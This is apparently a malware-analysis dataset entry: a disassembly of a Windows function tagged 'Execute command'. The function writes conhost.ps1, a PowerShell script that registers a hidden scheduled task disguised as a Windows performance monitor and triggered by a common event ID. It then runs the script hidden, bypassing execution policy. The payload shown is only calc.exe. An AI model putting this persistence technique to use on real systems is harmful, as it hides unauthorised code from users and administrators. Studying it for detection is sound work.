Function at 0x140001720
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor edi, edi
mov dword [rsp + 0x20], edi
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], dil
lea r8d, [rdi + 0xb]
lea rdx, str.conhost.ps1
lea rcx, [rbp + 0x40]
call fcn.1400034e0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rbx, qword [rbp + 0x40]
lea r15, [0x140000000]
lea rax, [r15 + 0xd190]
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rsi
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea r14, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x40], r14
mov byte [rbp - 0x44], dil
mov byte [rbp - 0x4f], dil
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x40], rdi
mov rax, qword [0x140011c40]
mov qword [rbp - 0x4c], rax
mov qword [rbp - 0x58], rdi
lea r8d, [rdi + 1]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400033a0
test rax, rax
jne 0x140001884
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [rdi + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], rsi
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x40], 6
je 0x140001bea
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [r15 + 0xd060]
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov qword [rbp + 0x68], r14
mov byte [rbp + 0xe4], 0
mov byte [rbp + 0xd9], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xe8], rdi
mov rax, qword [0x140011c40]
mov qword [rbp + 0xdc], rax
mov qword [rbp + 0xd0], rdi
mov r8d, 2
lea rdx, str.conhost.ps1
lea rcx, [rbp + 0x68]
call fcn.1400033a0
test rax, rax
jne 0x1400019aa
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
cmp qword [rbp + 0xe8], 0
je 0x140001be0
lea rdx, str.function_Gen_Task__eventid__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000c658]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Service__new_object__ComObject_Schedule.Service__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Service.Connect___n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____RootFolder___Service.GetFolder___n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____TaskDefinition___Service.NewTask_0__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____regInfo___TaskDefinition.RegistrationInfo_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____regInfo.Description__Microsoft_Windows_performance_monitor_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____regInfo.Author___taskRunAsuser_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____settings___taskDefinition.Settings_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____settings.Enabled___true_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____settings.StartWhenAvailable___true_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____settings.Hidden___true_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Triggers___TaskDefinition.Triggers_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Trigger___Triggers.Create_0__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Trigger.Id___eventid_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Trigger.Subscription____QueryList__Query_Id0__Select_PathApplication__System__EventID_eventid_____Select___Query___QueryList___n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Trigger.Enabled___true_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Action___TaskDefinition.Actions.Create_0__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Action.Path__cmd.exe_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____Action.Arguments___c_calc.exe_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____RootFolder.RegisterTaskDefinition_Windows_Perflog__TaskDefinition_6__null__null_3___Out_Null_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000ca78]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000ca7c]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str.function_Find_Common_Events___n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000c658]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str._____eventid__Get_Eventlog__Newest_500__LogName_Application__Group_Object__Property_EventID__NoElement__Sort_Object__Property_count__Descending__Select_Object__First_1__Select__ExpandProperty_Name_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str.____Gen_Task__eventid__n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000ca78]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, [0x14000ca7c]
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rdx, str.Find_Common_Events_n
lea rcx, [rbp + 0x60]
call fcn.140003640
lea rcx, [rbp + 0x68]
call fcn.1400032f0
test rax, rax
jne 0x140001bd2
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.powershell.exe__WindowStyle_Hidden__ExecutionPolicy_Bypass__File_conhost.ps1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x60]
call fcn.140001d30
nop
lea rcx, [rsp + 0x30]
call fcn.140001c60
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140001c33
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a8ac
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14000a850
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret